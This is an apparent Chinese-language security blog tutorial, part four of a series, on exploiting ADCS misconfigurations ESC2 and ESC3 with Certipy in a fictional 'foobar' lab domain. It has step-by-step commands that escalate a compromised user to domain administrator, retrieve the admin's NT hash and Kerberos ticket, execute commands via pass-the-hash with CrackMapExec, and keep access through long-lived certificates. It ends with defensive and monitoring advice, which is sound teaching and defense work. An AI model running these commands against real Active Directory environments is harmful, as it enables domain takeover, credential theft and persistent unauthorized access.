滥用Active Directory证书服务(第四部分):ESC2与ESC3提权技术详解

本文详细探讨了Active Directory证书服务(ADCS)中ESC2和ESC3漏洞的利用方法,包括证书模板配置错误、扩展密钥用法(EKU)滥用,以及使用Certipy工具进行证书请求和身份验证的具体步骤。

滥用Active Directory证书服务(第四部分)

Active Directory证书服务(ADCS)中的配置错误可能给企业环境带来严重漏洞。本文将介绍使用Certipy利用ESC2和ESC3提权技术的基础知识。这些提权技术滥用了过于宽松的注册权限和扩展密钥用法(EKU)配置。EKU策略定义了证书的用途,例如代码签名、客户端身份验证等。

EKU描述符示例

授权请求证书的用户可以在证书颁发机构(CA)本身和证书模板对象上定义。CA属性可以通过certsrv实用程序查看:右键单击CA > 属性 > 安全。

CA CSR描述符

“User”模板的模板权限在证书模板控制台中显示,如下所示。

模板安全权限

ESC2

易受ESC2攻击的证书模板配置了“Any Purpose”EKU或没有EKU配置。

指定“Any Purpose”EKU的模板允许攻击者创建具有任何用途的证书,例如代码签名、客户端身份验证等。此类证书可用于以原始请求证书的用户身份向Active Directory进行身份验证,并可用于签署其他证书。

易受ESC2攻击的模板满足以下条件:

  • 低权限用户被授予注册权限
  • 所需签名:0
  • 已启用:True
  • 需要管理批准:False
  • 任意用途:True 或 扩展密钥用法:False

示例

假设我们已在我们目标公司FOOBAR的内部网络中获得了立足点,并已攻陷了名为bspears的用户帐户。

首先,尝试使用现有模板以域管理员身份请求证书。使用以下Certipy命令,我们将以用户名administrator的域管理员身份使用默认“User”模板请求证书。

请求证书所需的Certipy参数如下:

  • u – 用户名
  • p – 用户密码
  • dc-ip – 域控制器IP地址
  • target – 目标CA(证书颁发机构)DNS(域名系统)名称
  • ca – 短CA名称
  • template – 模板名称
  • on-behalf-of – 指定为另一个实体请求证书
1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator'

如下图所示,此请求导致错误,并指出需要PFX。目前,我们没有可用于代表另一个用户请求证书的PFX。

但是,如果bspears可以使用配置了“Any Purpose”EKU的模板请求证书,我们可以使用生成的PFX代表另一个域帐户请求证书。

未能获取管理员的新证书

要查找易受ESC2攻击的证书,我们可以使用Certipy枚举ADCS配置。通过指定-enabled-vulnerable标志,我们可以告诉Certipy专门打印出已启用的易受攻击的模板。

1
certipy find -u 'bspears' -p REDACTED -dc-ip 10.10.0.10 -vulnerable -enabled

“ESC2_User”模板满足ESC2的所有条件。

ESC2_User模板

我们被攻陷的用户帐户bspears是Domain Users组的一部分,因此被授权使用易受攻击的模板请求证书。使用以下命令,我们可以为bspears请求证书。

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC2_User' -debug

Certipy结果将返回请求ID或对象SID。请注意这些。

有关更多信息,请参见“有效期”部分。

为bspears请求证书

现在,可以使用从上述请求生成的证书来签署新证书。为了代表域管理员请求证书,我们将使用-pfx标志并指定“bspears.pfx”文件。

1
2
3
4
5
6
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

注意返回的请求ID或对象SID。

为域管理员“administrator”请求证书

现在我们有了管理员帐户的证书,我们可以以域管理员身份进行身份验证。

总之,由于证书模板配置过于宽松,我们能够代表低权限用户获取证书,然后使用该证书代表域管理员帐户请求证书。

ESC3

证书请求代理EKU可用于代表另一个域对象请求证书。易受ESC3攻击的模板配置了此EKU,并允许低权限用户注册。ESC3模板要求如下:

  • 低权限用户被授予注册权限
  • 所需签名:0
  • 已启用:True
  • 需要管理批准:False
  • 证书请求代理EKU

示例1

继续我们的FOOBAR场景。让我们查看Certipy输出以了解ESC3条件。如下图所示,“ESC3_User_1”模板满足ESC3的所有条件。

ESC3_User_1模板

我们被攻陷的用户帐户bspears是Domain Users组的一部分,因此被授权使用易受攻击的模板请求证书。使用以下命令,我们可以为bspears请求证书。

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_1' -debug

Certipy结果将再次返回请求ID或对象SID。请注意这些。

有关更多信息,请参见“有效期”部分。

为bspears请求证书

与ESC2类似,我们现在可以使用上一步中为bspears生成的证书,通过“User”模板代表另一个用户请求证书。如下所示,我们可以使用此模板代表域管理员请求证书。

1
2
3
4
5
6
certipy-ad req -u 'bspears' -p 'REDACTED' -dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'User' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

为域管理员“administrator”请求证书

现在我们有了管理员帐户的证书,我们可以以域管理员身份进行身份验证。

示例2

我们还可以使用具有指定证书请求代理的颁发要求策略的模板请求证书。

在下面的屏幕截图中,“ESC3_User_2”模板配置了授权签名要求设置为1,并且颁发要求策略设置为证书请求代理。

ESC3模板2

“ESC3_User_2”模板的其他关键配置如下所列:

  • 低权限用户被授予注册权限
  • 已启用:True
  • 客户端身份验证:True
  • 需要管理批准:False
  • 所需授权签名:1
  • 应用程序策略:证书请求代理

此模板的Certipy结果如下所示。

ESC3_User_2模板的Certipy结果

我们将再次使用“ESC3_User_1”模板为bspears请求证书。

1
2
3
4
5
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_1' -debug

注意返回的请求ID或对象SID。

为bspears请求证书

然后,我们可以使用为bspears生成的证书,通过“ESC3_User_2”模板代表管理员帐户请求证书。

1
2
3
4
5
6
7
certipy-ad req -u 'bspears' -p 'REDACTED' \
-dc-ip '10.10.0.10' \
-target 'dc01.foobar.com' \
-ca 'foobar-CA' \
-template 'ESC3_User_2' \
-on-behalf-of 'example\administrator' \
-pfx bspears.pfx -debug

注意返回的请求ID或对象SID。

为域管理员“administrator”请求证书

再次,我们有了管理员帐户的证书,我们可以以域管理员身份进行身份验证。

总结

如您所见,利用ESC3的步骤与ESC2中的步骤类似。每种提权技术都将过于宽松的注册权限与扩展密钥用法配置相结合。但是,每种技术的易受攻击模板的条件略有不同。

在这两个示例中,我们都能够代表低权限用户获取证书,然后使用该证书代表高权限(域管理员)帐户请求证书。

证书身份验证

一旦我们有了证书“administrator.pfx”,我们就可以使用该证书获取目标管理员帐户的凭据哈希和Kerberos票证,使用以下Certipy auth命令:

1
certipy auth -pfx administrator.pfx

如下图所示,我们成功检索了管理员帐户的TGT和NT哈希。

获取管理员凭据

现在我们可以模拟管理员!为了演示这一点,我们可以使用CrackMapExec向域控制器进行身份验证,并以域管理员身份执行命令。

1
crackmapexec smb 10.10.0.10 -u administrator -H REDACTED_HASH' -x whoami

使用管理员凭据执行命令

有效期

需要注意的是,证书在有效期结束之前一直有效,除非证书被明确撤销。这就是为什么我们必须注意证书请求返回的请求编号/SID。

让我们看一个示例模板来演示这一点。如下图所示,模板指定了5年的有效期。

有效期

如果我们使用上述模板代表用户“DA Dan”请求证书,我们将在接下来的五年内访问DA Dan的帐户,无论任何密码更改。我们还可以在到期日期之前续订证书以保持对帐户的访问权限——这意味着这种技术不仅是一种方便的特权提升技术,还可以作为一种持久化手段。

预防和检测

那么,您可以采取哪些措施来预防和检测此类攻击?以下是一些步骤:

  • 确保模板权限尽可能严格。仅授予必要的组/用户注册权限。
  • 查看环境中的所有CA,并从所有不必要的组中删除“请求证书”权限(注册权限)。这将防止不必要的低权限组通过证书模板进行注册。
  • 清点您的证书模板,并确定所有已启用的模板是否当前正在使用。禁用所有不必要的模板。
  • 限制环境中允许的证书身份验证形式。

监控

监控用户的证书注册事件可以让您检测帐户何时请求证书以及CA何时颁发证书。通过监控这些事件,管理员可以警告异常行为,并撤销看起来恶意或可疑的证书。一些有用的事件ID如下:

  • 4886 – 请求证书
  • 4887 – 证书已颁发
  • 4768 – 请求Kerberos票证(TGT)

资源

  • SpecterOps白皮书:https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
  • SpecterOps博客文章:https://posts.specterops.io/certified-pre-owned-d95910965cd2
  • Microsoft PKI防御指南:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)
  • PKIAudit:https://github.com/GhostPack/PSPKIAudit
  • PKINITtools:https://github.com/dirkjanm/PKINITtools
  • PyWhisker:https://github.com/ShutdownRepo/pywhisker
  • Certi:https://github.com/zer1t0/certi
  • Impacket:https://github.com/fortra/Impacket
  • Certipy:https://github.com/ly4k/Certipy
  • Certify:https://github.com/GhostPack/Certify

脚注

  1. https://github.com/ly4k/Certipy ↩︎
  2. https://github.com/byt3bl33d3r/CrackMapExec ↩︎

阅读: 第一部分 第二部分 第三部分

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计